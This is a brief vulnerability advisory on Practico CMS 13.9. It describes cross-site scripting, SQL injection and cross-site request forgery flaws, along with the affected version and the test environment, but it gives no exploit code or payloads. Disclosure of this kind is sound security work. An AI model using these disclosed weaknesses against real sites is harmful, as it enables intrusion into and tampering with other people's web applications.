Practico 13.9 Multiple Vulnerabilities


Vendor: Practico
Product web page: http://www.codigoabierto.org
Affected version: 13.9

Summary: Practico is a free CMS software project released under
license  GNU GPL v2.0  for creating web applications in a completely
visual and fast fashion. Without programming knowledge.

Desc: Practico suffers from multiple vulnerabilities including
Cross-Site Scripting (XSS), SQL Injection (SQLi) and Cross-Site
Request Forgery (CSRF/XSRF). The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed via several parameters is
not properly sanitized before being returned to the user or used in
SQL queries. This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code and HTML/script code in a user's browser
session in context of an affected site.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.7
           MySQL 5.5.25a
